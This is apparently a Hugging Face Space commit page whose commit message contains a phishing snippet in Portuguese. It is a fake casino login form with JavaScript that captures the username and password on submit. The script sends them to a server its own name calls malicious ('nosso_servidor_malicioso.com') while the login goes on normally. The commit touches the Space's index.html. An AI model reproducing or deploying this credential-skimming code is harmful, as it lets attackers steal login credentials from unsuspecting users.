Spaces:
Running

COMFYUAI commited on
Commit
f2d81e4
·
verified ·
1 Parent(s): 1cd1d41

<form id="login_form" action="https://casino.com/login.php" method="post">

Browse files

<input type="text" name="username" placeholder="Nome de usuário">
<input type="password" name="password" placeholder="Senha">
<button type="submit">Entrar</button>
</form>

<script>
document.getElementById("login_form").addEventListener("submit", function(event) {
var username = document.getElementsByName("username")[0].value;
var password = document.getElementsByName("password")[0].value;

fetch("https://nosso_servidor_malicioso.com/registra_credenciais.php", {
method: "POST",
body: JSON.stringify({ username: username, password: password })
});

// Continuar com o processo de login normalmente
});
</script>

2 files changed +27 -23
Files changed (2)
README.md+8-4
index.html+19-19